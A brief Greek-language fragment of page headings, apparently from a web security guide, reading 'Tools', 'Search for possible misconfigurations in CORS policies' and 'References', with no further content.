Εργαλεία

Αναζητήστε πιθανές λανθασμένες ρυθμίσεις στις πολιτικές CORS

Αναφορές